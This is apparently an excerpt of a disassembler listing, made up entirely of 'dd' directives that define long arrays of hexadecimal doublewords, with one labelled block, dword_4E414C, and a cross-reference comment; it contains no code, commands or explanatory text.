		dd 2D29658h, 0D870FD7Fh, 7F96F783h, 80D60CA1h, 582D8B88h
		dd 0B86A30D2h, 4E890CACh, 4351FFF5h, 8C642C00h,	83151F04h
		dd 48975972h, 0D4495F00h, 0AE88D69Ch, 0F8EB5613h, 1B3C907h
		dd 0E5A13B50h, 65290082h, 31D1A216h, 0C30018B7h, 0F4BA56FCh
		dd 795F70CAh, 0AD0E019Eh, 8793B1C9h, 0D7C061B4h, 0A6BA8AB8h
		dd 6FFF5Ch, 0E02C2BAFh,	0BA90F5Ah, 18C8AE7Bh, 0F0E17800h
		dd 55E6CE54h, 73F18100h, 0A650E6EFh, 0EA7114h, 0F78C5A45h
		dd 273BCAB8h, 7200DE70h, 46949144h, 0B27DBA57h,	0B5AD1DB8h
		dd 962200CAh, 883EA5FAh, 7939D400h, 0FB017E5Bh,	0BD910025h
		dd 2431F187h, 0D40B0383h, 9FD0D19h, 0B2C40040h,	0F2F969h
		dd 0A36D9C88h, 0BD5EC4CCh, 3D66E600h, 0C9203CBBh, 0A0B20908h
		dd 28A0EA51h, 2650454Fh, 49D68E00h, 7FF48136h, 0BE3A07CCh
		dd 0B1A0EB58h, 50A12E25h, 0FAC138E8h, 21B4D300h, 514DC759h
		dd 1DC00D1h, 0B8CE5D8Eh, 0F4301EC3h, 0FB223169h, 0CBBB1E3Bh
		dd 8BE28260h, 4361581Bh, 0ED2080B9h, 51B69B92h,	56F2072Bh
		dd 0D5267A82h, 8EF400D5h, 1A78A8BCh, 1FB87367h,	29B98798h
		dd 0D25EE059h, 89155B45h, 1EB4B5F0h, 8180180Fh,	0BCD1F735h
		dd 125C90F3h, 4056BF42h, 8E042620h, 3601C574h, 50DC9210h
		dd 460DEA7h, 335A00DBh,	76BCF812h, 9B5D9085h, 0DA460068h
		dd 0A7FAF2D4h, 23BE00AFh, 0DE626A95h, 1D00A5B7h, 65E8B471h
		dd 40BCE0EAh, 6D1FFB55h, 0FC76C84h, 0EC425ACEh,	1387F792h
		dd 89C1E3B5h, 6B290580h, 493D6F00h, 1C315E20h, 8EA20083h
		dd 5AA782A3h, 0E8007799h, 0E196BCC3h, 0C06735h,	622930F8h
		dd 25EF0C1h, 0D4B018B8h, 39C58A0h, 5F83DE1Ch, 20851100h
		dd 18C24999h, 30FB9066h, 2C3DCF50h, 9A6C02E4h, 0C05AB81Bh
		dd 9292C15Dh, 3A0725C0h, 0AAC09000h, 3000CC47h,	0CD3F23EAh
		dd 40F079h, 213CFF06h, 25836C07h, 69005A78h, 5730B8D8h
		dd 0F5C219h, 73AB0947h,	0E2AA48C8h, 870CFF3Ch, 9FD49984h
		dd 7C138180h, 10C30EA1h, 0C8A08C21h, 37C9E687h,	7D0A4071h
		dd 0AC5690CEh, 1E9CD900h, 0C19A0514h, 0B1C12C02h, 2448E1DAh
		dd 22023B0Ch, 0E1C23970h, 1ED05828h, 0CCC39680h, 15106263h
		dd 0D5CC8F17h, 94840303h, 0E7190266h, 12C8937Ah, 3946ACC8h
		dd 0D0881096h, 103B0054h, 0C72A42E1h, 0CC60E41Dh, 3055E6C0h
		dd 0F1AF35h, 3F252DB2h,	7F10D748h, 0C7099470h, 5FEBC1h
		dd 0F4B24708h, 0EA860051h, 4D764224h, 0C100EC40h, 0F1FB0A7h
		dd 28CEF63Ch, 0C5E819h,	0E9079A34h, 0F0121DABh,	454C1E00h
		dd 7B3554C0h, 8FF100FAh, 5F3F799Bh, 65033D75h, 0FB706D9h
		dd 5117A20Ch, 0B5890854h, 67024700h, 0B2A10A7h,	11CDB4E5h
		dd 6118EC80h, 0BA71DFDBh, 26FCF900h, 29DEA0AAh,	2270036Ch
		dd 366E167Eh, 4093B980h, 3AF31E00h, 0E2A2B60Dh,	0B4C0217h
		dd 0B5EACAD5h, 376018C2h, 6F3A895Dh, 77C1057Bh,	8F806A71h
		dd 1DB03403h, 40107E42h, 0F2A3B2C6h, 100B7F5h, 281A82EDh
		dd 249487h, 61FE1F39h, 583CB595h, 6DE72E03h, 0D34F700Eh
		dd 5587293h, 9E1759C0h,	94DC4034h, 4C454B32h, 1E922200h
		dd 4D158DB7h, 797A0023h, 0A0449A69h, 0B103D314h, 0A2C3D161h
		dd 49400012h, 0F8BDB84Ch, 97A0E8FBh, 0D404FC2Ah, 0A84A7399h
		dd 57D020A5h, 0FEB60B52h, 0E887F492h, 6B823EBh,	0BE2CA4C4h
		dd 0B99180F9h, 0B857B322h, 45B23AF2h, 350DFC0Bh, 0D37FE090h
		dd 2810F0B9h, 0BA172A1Fh, 2517E07h, 716C305h, 0B70189E0h
		dd 31D0A3Ch, 6F7EC7C1h,	1F210724h, 4A87A159h, 7EDB032Ch
		dd 21006C49h, 0D277590Fh, 563A8D7Bh, 0F80758B3h, 81282244h
		dd 811D2A58h, 0D3173630h, 0F98A2333h, 3054931Eh, 168F729h
		dd 77FFCA00h, 0C83BC6CCh, 0AD520015h, 0F80335Ch, 8E184802h
		dd 94B8BAA9h, 6420036h,	2A27B31Ch, 0D5000C13h, 5A753139h
		dd 0C2D97Ch, 88D31A6Bh,	0D0DD7AB2h, 4A2DDE00h, 0F968E6A2h
		dd 3BED0E5Eh, 4300AE3Dh, 446D38C3h, 0BA5F40Eh, 0ED98030h
		dd 703166h, 0D092EB7Ah,	11601B36h, 1A3CFB07h, 9977759Eh
		dd 15E18D31h, 7B46D2E0h
		dd 7F149094h, 1D350006h, 0DAD74C89h, 1331F667h,	53882029h
		dd 0E57F8040h, 95050192h, 0EFF66886h, 0A420A226h, 15BD7303h
		dd 0C0C0E380h, 111A2C2h, 561A924h, 8078FC2Eh, 0E3DC1329h
		dd 0CEB82E9h, 0F8FA9342h, 0D8A00508h, 0C300B68Fh, 226897E3h
		dd 60CA2A9Ch, 838C482Eh, 36E27845h, 4993790Ah, 4740D09Dh
		dd 24DB38EDh, 0C04D799h, 0EB08C7A2h, 61009CB2h,	975C38E1h
		dd 37212A7h, 0EF9BF209h, 79C611F7h, 0C908E231h,	32C01803h
		dd 0C7A00037h, 9AFE2B36h, 0E700B666h, 725EAEC1h, 609CF18Fh
		dd 8D5A811Dh, 51053D7Fh, 18329E16h, 784C8C1Dh, 40BDB893h
		dd 53009CB4h, 0E7B68E0h, 0EEB56717h, 0E57D5CDFh, 418F5500h
		dd 1D1975F1h, 98B71100h, 943AA76Bh, 0BE5C009Bh,	0DD0D76D7h
		dd 3200915Bh, 3088F75Fh, 2EDFB8h, 428EF807h, 0E3A7E6BEh
		dd 805FEC3Bh, 58A38BACh, 12C4F46h, 9B5EDDCDh
dword_4E414C	dd 0D820FCF4h, 80045CBh, 24011AFBh, 734F9h, 0B03BEA4Bh
					; DATA XREF: ___:off_42DE44o
		dd 0F15912ADh, 2E564303h, 0D7AB3F96h, 69344650h, 0C9E00E09h
		dd 35A036AEh, 7E53F25Fh, 2F1F13E8h, 29007301h, 0F3542016h
		dd 74E05Eh, 675A766Eh, 2A3B0C8Ch, 0F0B34Ch, 0E8398789h
		dd 0D3A9C6h, 150190A4h,	0D5C27BDDh, 44005EF2h, 0F237CF97h
		dd 6DE25Ch, 0ED7AD85h, 0AEECEDAFh, 66350500h, 9CCCB2CEh
		dd 391D0063h, 680BD545h, 0A598C4B0h, 0E836C200h, 0D2EA1C7Dh
		dd 0BE1A2854h, 287DC6h,	957E19C4h, 0EF01E1DDh, 9EA4570h
		dd 784C1001h, 0B636CFD4h, 708066F1h, 21F6827h, 0AE3B723Ah
		dd 0C46D0070h, 6C5EF4F2h, 11D13873h, 7E67F880h,	3C7993DFh
		dd 810065EAh, 0EBEAAEC4h, 1E752Eh, 25271533h, 4D1D7908h
		dd 6046DE31h, 5FF80D5Eh, 8811C0EFh, 32191643h, 62751E02h
		dd 80DE912Ah, 0E0183EBCh, 0F404F234h, 9877006Dh, 0E1860E21h
		dd 0C27CD78Dh, 0D14C4A00h, 0AE67F30Fh, 5FDD0085h, 99CBBC8Fh
		dd 0B23F6546h, 0C6DE1E36h, 0AEC7C280h, 0F8FA092Eh, 0BD4600BBh
		dd 518187A4h, 995A7718h, 90063BCh, 3D3FDE90h, 41025040h
		dd 0A078D9D8h, 0CA5340C1h, 541A00CBh, 6EC5FEAAh, 3300B471h
		dd 5784A30Fh, 0E6A915h,	1E58EDFFh, 0A63B8209h, 52A2B700h
		dd 4960E788h, 0CCA0369h, 18F5DDBDh, 0AC193BC0h,	45734200h
		dd 1D77352Ch, 0F0AE609Ch, 2AA91CEAh, 0E7C9706h,	519E3D5h
		dd 0B3730522h, 0F0BC0056h, 9417D815h, 91959603h, 0E0BA5114h
		dd 2431C6h, 906622D7h, 88048279h, 34134200h, 36A5434Dh
		dd 1EEED5h, 650308FAh, 41B9EFF2h, 6B04C100h, 847DF525h
		dd 558B3CDBh, 0E6708683h, 52C0B8A2h, 0ED076AD6h, 0B63867C7h
		dd 0ADD37520h, 0F15603B5h, 0C4BD90E0h, 238A86C8h, 817A013Ah
		dd 0EB267E50h, 0C07AA222h, 0B277D747h, 63A10900h, 0D0EDDE2Ah
		dd 10090F1h, 0AAAD4482h, 0FCEA5BDAh, 0F800642Eh, 0A39A9D14h
		dd 7D8A83BBh, 0AEFB246Ah, 3C803C24h, 787AC33Bh,	2B00E32Ah
		dd 0E78376D6h, 0C819892h, 0EA806BABh, 0DE0054C1h, 0FF0C7CF8h
		dd 0EF09D8h, 32610667h,	62835DDFh, 410052F8h, 43154CC8h
		dd 0D7A6CAh, 5C9E9478h,	67DF7A9h, 28FC6700h, 205163BFh
		dd 99590005h, 0C687B7E6h, 0D409D80Dh, 4371C84h,	0BA21B66Ch
		dd 0A9D82418h, 80B9E53Eh, 762F27F8h, 0F855A331h, 41E60097h
		dd 0AD4642AFh, 36008E2Ch, 56496E40h, 75EB31h, 47D04F5Eh
		dd 0CE8A7DB5h, 6E50F300h, 0FB1B3BDCh, 589843h, 2FBF1812h
		dd 0B1E0FF2Ah, 94293938h, 589831C3h, 78820198h,	17F463C8h
		dd 0F7C4D8h, 0EA23B553h, 0A6EF89E9h, 91E0F200h,	88065626h
		dd 0AC824885h, 3B000A21h, 0D4C1BCBDh, 51AA0A2Ch, 80C8CAF1h
		dd 232E172h, 17000C9Bh,	38236F39h, 2659E7h, 0F95C131Ah
		dd 2D77EA0Ah, 0C383DE00h, 0A482A27Eh, 7F79D9h, 0A84B4610h
		dd 80ECD46Ah, 9DBC4501h, 5033303Fh, 0F8D825E4h,	0EA6D00BEh
		dd 2823891Eh, 0EB317FA3h, 0BAC218D7h, 0FA7F824h, 7C91B8F8h
		dd 0F335DCA0h, 0B07DB19h, 6510081Ch, 0CE611E30h, 0D0AF00CCh
		dd 1446FB8h, 7B3BE12Ch,	0E5C30055h, 0E38F4210h,	0C8AB00BDh
		dd 0E471983h, 99051B37h, 3081E840h, 495D8801h, 0CFD4EA26h
		dd 602800B1h, 17DF2B86h, 0B301789Ch, 4B44B646h,	0F080290Fh
		dd 0FC6BF613h, 0A705693Ah, 111A6C05h, 9476980h,	74FA40h
		dd 0FA3B5018h, 0CFB342BAh, 29BC60F5h, 5B006AE6h, 831361F8h
		dd 0BF9C318h, 0D87DF4D4h, 0CE52D980h, 3C032D17h, 99324C8Dh
		dd 136AE892h, 0BCA20057h, 3ACCCAEEh, 0D700B149h, 16B5254Dh
		dd 121098Fh, 0C2B3170Bh, 800451E1h, 0B7C0A010h,	1E72151Ah
		dd 0DCE5B9DDh, 806E1EA2h, 6C4299F2h, 0C200050Ch, 81290ACDh
		dd 3C18DE3h, 0F5607C4Eh, 480066B5h, 0D2F20C36h,	3B2571h
		dd 3F69AEE5h, 12EF68A2h, 263ACD00h, 0B85EE129h,	0A37E0065h
		dd 0DD526ED4h, 7F07233Eh, 0DB9860EAh, 0E5C809D0h, 0C4EC003Bh
		dd 7310ABB5h, 6928C971h, 80EAC715h, 60118F2h, 0D72A4B8Dh
		dd 0A840856Ch, 63A93Dh,	17D57AFFh, 539235F8h, 46B12C00h
		dd 95D1672h, 13E60F98h,	0E42056C5h, 225AD95Bh, 3E7AAE00h
		dd 8FDCBACFh, 6F653A8Dh, 51ED5880h, 0E22CABF8h,	0D507D8ECh
		dd 0E9BC3F40h, 0DD142290h, 7F73EBEh, 99249400h,	0FAA532DCh
		dd 0F6FC67FEh, 1C777400h, 8258FC10h, 9C5A00F3h,	20895DCh
		dd 0DA0039D8h, 2C773A47h, 3F676E0h, 63799429h, 7880F370h
		dd 0A1001684h, 367AA487h, 0D0EEBFh, 69F455E7h, 0C96C182Eh
		dd 73C7E4Ch, 34441039h,	76709B80h, 0E0313B61h, 7BF3C500h
		dd 0A52F63DAh, 4D00C6E0h, 774C887h, 0F27D029h, 3D0C49B4h
		dd 3C9EC940h, 790044E1h, 1FF06643h, 0A00FC6F5h,	7D9C49E0h
		dd 5D9A0298h, 84D241CCh, 40C272C0h, 0CE39ACF8h,	275B0063h
		dd 1634DFB0h, 0C14800D5h, 97A70F51h, 28F4B79Bh,	40FD4F00h
		dd 0F3EAF2D9h, 12480061h, 0D3246678h, 0C9242377h, 9BE6043h
		dd 20444B50h, 0A8CEC820h, 2EC503B6h, 0EE53A2A9h, 1EC62818h
		dd 18CF2C10h, 20C448F6h, 66184BDh, 76AFEAB9h, 245E6983h
		dd 3A5C891h, 8ADF962Ch,	7F053880h, 0F630D700h, 9BA33EA8h
		dd 0BE42008Fh, 498AF4D1h, 3B0A6240h, 30882635h,	5EB90B40h
		dd 8911B93h, 25E0B83Fh,	0E8003588h, 3032463Bh, 0F61E8FB3h
		dd 807004Ah, 0B8A3FFBh,	5616AEEDh, 0AAB9C8h, 0C7618FC3h
		dd 8D1D66D6h, 0EAC0F7B5h, 74AD27BBh, 0D14D3B73h, 0BE6F840Fh
		dd 0B0547943h, 6593A0B8h, 0F3ED341Fh, 21A40741h, 8F4C086h
		dd 589F00F1h, 3814958Eh, 2700B84Eh, 7FBD6244h, 604D6999h
		dd 0BBF5B041h, 0D003C8BAh, 0B1E914E8h, 9484F0FFh, 0A9D50C20h
		dd 0F2EA4871h, 0F50776E0h, 9BD69328h, 0C23CBDA1h, 3F9C5470h
		dd 5300CB54h, 0CD33C36Ah, 0DB00DD17h, 2B8A8C58h, 78F60B82h
		dd 1D453BC4h, 0B554CD80h, 83F7679Ch, 438387Bh, 0D0BA9EC3h
		dd 0C52F88C0h, 78B379Fh, 7F0B5DB8h, 0D83FC0C0h,	0D400972Bh
		dd 0F556176Bh, 9BAC5D1h, 8219F6Ch, 18715C81h, 0FCF8EFBEh
		dd 760E5BF5h, 40D4DB93h, 0E775935h, 0B2EC0058h,	0A34BCEEh
		dd 330CF78Dh, 400764CCh, 587336h, 0FFEB6D66h, 0D048DBC8h
		dd 74204Ch, 2BF47D49h, 3CD696B5h, 0A8F3C34h, 93200E64h
		dd 832F1824h, 0E08D3200h, 0D935D5DDh, 1FD0054h,	0CE5DFC43h
		dd 0F6002928h, 0C3A1FE25h, 14CC46Bh, 162BA8A5h,	0C084F8C1h
		dd 0D8300167h, 0BC089163h, 0EFEC0092h, 0F39C9E33h, 780717F1h
		dd 1A6D4A90h, 1E746C01h, 7D863FCh, 957CD1C5h, 0F251E79Ch
		dd 0A48098AEh, 0DFC91D0h, 2652BA1Fh, 0CB1CDD87h, 849092C4h
		dd 0A94027h, 66117F5h, 8DE12021h, 0E89AD00h, 0B7A44E4h
		dd 0F370C08Ch, 95BB7396h, 57DF61Dh, 20F40DCBh, 0A453D28h
		dd 7ECD0367h, 49168139h, 0D4446117h, 986510h, 0B88E0D4Fh
		dd 0F0A37Ch, 912B128Ah,	0AFE14CFAh, 0E53D67EEh,	3450F3Ch
		dd 2D8A8097h, 499E48h, 1CFC42DFh, 16AB5751h, 615C3105h
		dd 0B4000B29h, 0B248B099h, 0FFE4BDh, 0D26EF0EBh, 4613258Ah
		dd 0E882C707h, 835E228h, 72D3C840h, 24831h, 27B25411h
		dd 0FAA0D985h, 202DEC0Fh, 0D6629803h, 0BC4004A6h, 0C0233BE3h
		dd 5D78D044h, 2696E848h, 0F87584Ch, 0C04F0DB9h,	0D1BFBE45h
		dd 8ACF00BCh, 82E7F3B3h, 0A8076E95h, 3C97F0A0h,	56A7BFF1h
		dd 0E32CD8h, 0DF78774Eh
		dd 14238AA3h, 7CA88250h, 85700E00h, 98BB52F0h, 0F6AC00B3h
		dd 7BF476C7h, 0F80014D2h, 1C5F9BE3h, 90B4810Dh,	19FD054Ch
		dd 1E906E2Eh, 8E7543D8h, 2D90CD39h, 30041867h, 0EC5DD9DFh
		dd 96CA1481h, 0B846C188h, 3BB60240h, 0A4BE13E7h, 0F85B0E06h
		dd 0D8005DCBh, 4176BF19h, 3F937F0Eh, 0FB202039h, 12657E96h
		dd 5F709Eh, 0B292D455h,	0CF04116Eh, 49DE2028h, 2A1CC80h
		dd 0E08B60E2h, 0D6744F03h, 778A5204h, 0CC086FBh, 35FECA63h
		dd 81C0B11Dh, 70741BE6h, 9C02965Fh, 248CDBC3h, 0C6C40D2h
		dd 2D7C004Bh, 0C2C7EC35h, 32100482h, 7D493Eh, 40E35C9Ah
		dd 0B7B3567Fh, 8BF05818h, 38CC2058h, 0D3B9B614h, 9FCBA18Fh
		dd 216CD466h, 0ED77940Eh, 0CC003FB9h, 829EC6BFh, 244C9A25h
		dd 16DC4B11h, 7C4E8E7h,	0BB7B67Fh, 0A43202D1h, 517070h
		dd 0ACA362E0h, 0AE457BABh, 0B9F1C903h, 0E82EA423h, 3FC6B00Dh
		dd 9005987h, 46486FD1h,	0AE0347E4h, 0ADF6F45Ah,	0F3589082h
		dd 45EA0072h, 2384D167h, 9D00FDF1h, 0A06505A2h,	0D3F759h
		dd 1AF888CFh, 3F41BE58h, 37BFE200h, 9E96F0F4h, 2D1E0021h
		dd 0A2559AF7h, 0F22822BCh, 3D00FCCFh, 5C5F5E7Fh, 1C2EFDh
		dd 37DE60A9h, 1AE90523h, 91007CEEh, 4BB51F41h, 2E01161Eh
		dd 587446h, 0CBC1B0DFh,	11497552h, 0C5EF80DCh, 0FA784C0Ch
		dd 988207E3h, 0D055E849h, 58FF3D9Eh, 6CE18F00h,	29AA4223h
		dd 0DD203C4Eh, 46B25F80h, 445C9E6Fh, 80BF2D1Dh,	0C4EF2980h
		dd 306682h, 969C98AFh, 752393F7h, 41092800h, 0DB54622Fh
		dd 5EDD078Bh, 53E52943h, 747690B4h, 44A14Dh, 67E086AFh
		dd 0D7EA0Bh, 0BD462D4Dh, 44D05907h, 4F0D8100h, 197DC9A1h
		dd 0C5B00C7h, 0E5D25256h, 7709D966h, 8437A8A0h,	91C128CCh
		dd 820491Bh, 99A40F8Fh,	346C5FAEh, 81000320h, 742CC69Bh
		dd 0FE383644h, 26BDE026h, 0F5802E5h, 7CAC2BCFh,	60018431h
		dd 0D42A274Ah, 0D8EC7E3Ch, 9E572EF9h, 0D79F8088h, 0EBC22456h
		dd 0C4E7B028h, 78D3632Eh, 72A6D905h, 2C0085C5h,	94DEB16Ah
		dd 284D0264h, 0E9699131h, 0F9C0B080h, 8570DCFAh, 0F4DF062Eh
		dd 1B0F114h, 0A4488E51h, 0E8E37CD7h, 0AECEBh, 0DA074B42h
		dd 0C4A97FAAh, 0E8FB3C00h, 786BCF91h, 3104019Dh, 86B7072Eh
		dd 8DA3CC6Ah, 0DFFCA400h, 2F87E197h, 0F20F01DEh, 51B68BBEh
		dd 4878FCE4h, 5F0CF498h, 22963052h, 54F453h, 14D492F1h
		dd 0B92994DDh, 0F681651Ch, 85C0555Fh, 7240030Eh, 0FEFA1CA3h
		dd 89ABCEC4h, 0FC5C00B6h, 0BB565918h, 0E23D9D00h, 0BD98F049h
		dd 0DE070E88h, 8D605CE7h, 0EB8E0950h, 0AE00957Ah, 8736C19Dh
		dd 0B8042D4Ch, 54E100CBh, 9E83DF6Eh, 65006790h,	0C1D309E6h
		dd 4A31322Ah, 1C8C20D8h, 0AA1E593Dh, 6B40E32Fh,	2452359Bh
		dd 756C135Bh, 13E2000Dh, 74D96829h, 764Bh, 0AD90C6E3h
		dd 0D37F000Ch, 0C953EB42h, 401E1CBFh, 5700706Ah, 0CCF34395h
		dd 4DC3EC6h, 65FB1Dh, 5B3845A4h, 9C004A55h, 7C199764h
		dd 594F84h, 0B7D4BE34h,	0FFDEF6E1h, 33B56100h, 1D1EE9B6h
		dd 0E549420h, 4F807E72h, 0A3DB52E3h, 81879313h,	46C7B800h
		dd 0FC1ED5h, 0CC0611B8h, 2AB5CA69h, 0E90E0100h,	2C6AD496h
		dd 0BE6300CEh, 953D1A61h, 0DEFC4B86h, 7FA23812h, 500200FFh
		dd 0CB43AEF1h, 0C87E5E00h, 782644C5h, 43454A1Ah, 3F148F98h
		dd 0B6A980F7h, 676176F0h, 5ED08918h, 201643E2h,	0C006C811h
		dd 874A4CB4h, 465B0620h, 40C3AECCh, 984BF3Ah, 27A095h
		dd 262CC5F0h, 0D07A183Eh, 89EE4087h, 1E50BDE4h,	0E4A9140h
		dd 0D4C3D441h, 0EC288126h, 69008423h, 0B758C0Eh, 6A5A0985h
		dd 388F34A1h, 0F7D79C0h, 451CE53Dh, 0AA00BA22h,	1CA0446h
		dd 6D720183h, 0B7FD07BEh, 0F9C4CC5Bh, 0CC31C300h, 0CF8129EDh
		dd 60C71D83h, 0FEA780FAh, 2AD0C906h, 4FAAE000h,	1457EF1Ch
		dd 5FF498h, 2CDF9601h, 0D2211F67h, 1EA79400h, 1C0F0A97h
		dd 0C1111D4Fh, 4A391819h, 71123156h, 40F923Fh, 8080FDCCh
		dd 6597071Fh, 0BCB40D2h, 81096B38h, 0E806442Fh,	0FDC426D0h
		dd 471B00EBh, 66E390A9h, 3C001188h, 9D97EC4Eh, 34DCA74h
		dd 6CA78F5Fh, 0EF8AE7Ah, 1F00C81Dh, 0D4481316h,	5CC24662h
		dd 9483F0DAh, 17D0E231h, 87AA9DDh, 0C323BF00h, 0B0BD07B6h
		dd 1C980011h, 9C40C4E7h, 0B205E9D4h, 0C7BB786Dh, 29845E80h
		dd 35E0008Dh, 6BCEEDDCh, 7C007236h, 0F54061A2h,	3DBB350h
		dd 0AA0E7B1Ah, 43A8A817h, 0D500F363h, 9F96B3Bh,	7949057h
		dd 1B85EA56h, 0E92C50EEh, 95007576h, 5E982608h,	3F736D4Ch
		dd 54805D48h, 92CCD6Ah,	0EB0E166Fh, 6AB1B9CEh, 7698544Eh
		dd 95310Eh, 554CAE20h, 0E209EE63h, 7748CC03h, 0E96D6AFFh
		dd 0D4609069h, 7D74D6h,	244F5BEEh, 731A43CFh, 0B496CE09h
		dd 0E16E01FFh, 49810313h, 0A86DC229h, 0A1CE1156h, 0D142B611h
		dd 380460C7h, 0EE48203h, 14959B89h, 0A0AD0D59h,	37E32E00h
		dd 0DCEA62BFh, 54101A0Eh, 8A3660AEh, 0EBD664h, 0EC138E4Fh
		dd 0C0EA6A1h, 0DBAA5800h, 45C83EADh, 0E44E0174h, 0A24A2EFCh
		dd 8D99809Dh, 4BC73193h, 0CFE6007Fh, 0CB307BECh, 801D2758h
		dd 0AD0FD42Fh, 0E637E077h, 0E0F56CDBh, 58A8C05Dh, 0DFA71F73h
		dd 0A10611C0h, 0CB73014h, 9550CD4Dh, 0C900FD20h, 0C87CBE29h
		dd 0AAC1B8h, 0DA3FA970h, 87AB3EA3h, 0EF0A0D00h,	7339BDD3h
		dd 2F5A00FEh, 0BF09BB8Ch, 8600976Eh, 81ACD45Fh,	3F2A3225h
		dd 6B071B91h, 0D5514CFEh, 0A2A40034h, 29D94B9Fh, 22E9A001h
		dd 0E705316Dh, 7BDFFCh,	0FE9CD2E4h, 7CC8F4D5h, 3822B41Fh
		dd 9AB92B00h, 305D43h, 62E853B5h, 0DAAC8078h, 0FE8B4C00h
		dd 9F1DE9D6h, 2B600001h, 0B8F4DF8Fh, 0D126CBCh,	24004E80h
		dd 0AF6FFDF8h, 79CD0F31h, 30C0D569h, 0D6BB210Ah, 1472BC3Dh
		dd 0EE859DCh, 80EF9BC4h, 38A13794h, 5B953D44h, 0BB2F1C09h
		dd 4C510675h, 0F29000D0h, 0F493F14Fh, 0FC001DFAh, 1E3F60C8h
		dd 3AAAF7h, 0C5221364h,	78414D5Dh, 7962CD06h, 68338Ch
		dd 0EFF4AB94h, 0FDF2A064h, 30705724h, 83814E80h, 0C4D6A1F5h
		dd 49F46F70h, 0A60D8085h, 0BC7D7Ch, 93B4F808h, 0F1CC949Bh
		dd 7876C900h, 7F6AD1E4h, 4E5B0013h, 18B8A8C3h, 0B100C195h
		dd 39CBE1FAh, 0E0E7F2h,	0F8AE2728h, 0FEDC1B72h,	45D4F51Fh
		dd 865147C0h, 1FFF3529h, 3E9D5DEEh, 1411D083h, 88A9BACAh
		dd 0AD89DC84h, 3D773B07h, 9C907BC1h, 3BFC1BEDh,	2B09DAD0h
		dd 3600F86Dh, 91360CE6h, 97E06200h, 767DA22Fh, 1CF8BF27h
		dd 449BBA00h, 0EC4E858h, 3B3F7A5Dh, 0C83F7AAh, 486F784Ah
		dd 3E1F5790h, 0B660D307h, 81D0655Dh, 93E545h, 0D20B2B23h
		dd 4128114Dh, 73226D0Fh, 689E005Eh, 0DB3A4Fh, 7DA3DCDDh
		dd 82D29765h, 0A9942A00h, 7149B4E2h, 0EB52020Ah, 0F26BE368h
		dd 4474B480h, 2D0022BDh, 0E5A0B02Eh, 0FC483Fh, 67F2E308h
		dd 9B8EEC42h, 0CA900D0Ah, 0E580DC6Ah, 84F44AC0h, 0A6540121h
		dd 6C4673C4h, 56443442h, 0CD2B20h, 5CB560CBh, 3F5F3AD9h
		dd 0BFF2DE00h, 0FCCEE898h, 7C7F0048h, 0AE1085E9h, 443CA40Ch
		dd 43A0D0D0h, 0DA5D3400h, 53B0FA33h, 5EBF244Bh,	39D80B0h
		dd 0D6A3AF3Fh, 0D1B8570Fh, 51C30019h, 505A9Ah, 0B9221CD9h
		dd 144276FFh, 0E1B95860h, 28634F1Ah, 26AC5F44h,	0BBC0D116h
		dd 0E176B30Bh, 2A10758Ch
		dd 73F7960Ch, 9B21EBh, 0B8D23D09h, 8D804A2Ch, 0FC5EBA07h
		dd 2A561BD6h, 86270061h, 0B80EC07Bh, 6601D5D3h,	9190A65Dh
		dd 0D4CCA81Ah, 7EC5052Eh, 0BFCAA61h, 58104BC0h,	0DE3051C1h
		dd 48598179h, 0D760009Ah, 0AC2FEA5Ch, 3C90730Ah, 0A3EBD000h
		dd 0B61F4DE9h, 74CB1E40h, 0A0FD8048h, 7FE0CAB9h, 0A25C2C00h
		dd 0D5A3436Bh, 0B56E14E8h, 4A01F099h, 0FB3BD1E7h, 640CF4E2h
		dd 337A7F14h, 0A59A0ED8h, 0C66580F6h, 11B53Fh, 0EFDF1470h
		dd 1E12CA3Bh, 83320700h, 0AED115BBh, 0F38800ADh, 13821136h
		dd 0ED0B4080h, 7395F78h, 12F053B0h, 58CF62h, 1CF2FECEh
		dd 895BE18Eh, 0AE8D791Dh, 40B5BB0Ch, 0A2A760ACh, 467EFDCCh
		dd 75C4F600h, 6DA590ADh, 15A43AB9h, 2436F524h, 0F8C0085h
		dd 0D71AE72Ch, 85980C00h, 456F9CE1h, 9DC70068h,	0A72086E3h
		dd 0EA019719h, 18E76EEDh, 80E4C6E5h, 0DE2D0066h, 45432E8Eh
		dd 20007BA5h, 4EF7745Eh, 1CD2EF47h, 4031D11Bh, 16367632h
		dd 5F00B843h, 22EE41C2h, 0B452CF7h, 0AE1DB701h,	80262FFEh
		dd 9B111C00h, 0E5EDCEh,	840DA974h, 3F436EE4h, 12AC7003h
		dd 0A809C691h, 59EC3767h, 0C800BC9Fh, 0ED4F305Ch, 8600F88Fh
		dd 76CFFF14h, 635BD0h, 1291F383h, 0EBA340DCh, 0C65CA00h
		dd 6A9F0678h, 4750004Eh, 8D03DEDAh, 0A7139004h,	1EEEC7Ah
		dd 0D94D3BF4h, 7DDAD063h, 0A08FD324h, 0F9020D80h, 1D156413h
		dd 1D8C1951h, 74B203A3h, 990996D3h, 0A0F5DA21h,	0B6897AC8h
		dd 817C3A44h, 0CAB24900h, 75279CA1h, 0C877EB28h, 7E03A8F0h
		dd 0B513B6F1h, 3877F8h,	15B41749h, 688FD610h, 3AD57A07h
		dd 94C7855Ch, 4CCA72C7h, 0D945B102h, 34209069h,	0A46C7AC6h
		dd 0E4DB7B14h, 28B10009h, 3A87DA7Eh, 6F00EDDEh,	5B4A537Ah
		dd 394FB66h, 237B88Dh, 96D0C45Fh, 0DB00A3C2h, 0D823067h
		dd 7BC553h, 7526A1A6h, 0E39BC70Bh, 981EE600h, 6264C04Dh
		dd 0C1880095h, 540ECD1Dh, 0AD00DABFh, 0EC7C0374h, 0AB5988Bh
		dd 20D88E3Ch, 0A8258494h, 90FA8799h, 0A0CFD0C8h, 12CBC700h
		dd 6684499Fh, 81F93054h, 99C493C9h, 459E321Eh, 0C1B5288Fh
		dd 0C706C525h, 69BFD841h, 1F4F0705h, 36CE91DDh,	9F8C40A5h
		dd 0F2068217h, 2F3EABECh, 86D92A81h, 0D04E009Ch, 0AAF62C42h
		dd 0C00FB430h, 40D32BD8h, 4B04357Bh, 7181186Ah,	666B31FEh
		dd 0EA394C00h, 95198021h, 712C00FCh, 0B1135803h, 610643FEh
		dd 8D14841Bh, 0BF1000C1h, 31D82103h, 3C0BE738h,	0C72CD83h
		dd 5CF191EBh, 74016D2Ah, 46BF4E24h, 0E713D84Ah,	894D3Ah
		dd 7D0564BAh, 0B81F2A6Ch, 1584188Ah, 5F306142h,	0A4F37201h
		dd 80F99CBFh, 0BDAF1985h, 389B07E6h, 0EDC5D00Eh, 2300E9F2h
		dd 0CE21489Bh, 0A2E5E7Dh, 0F992545Fh, 1F3C1F28h, 8A894F99h
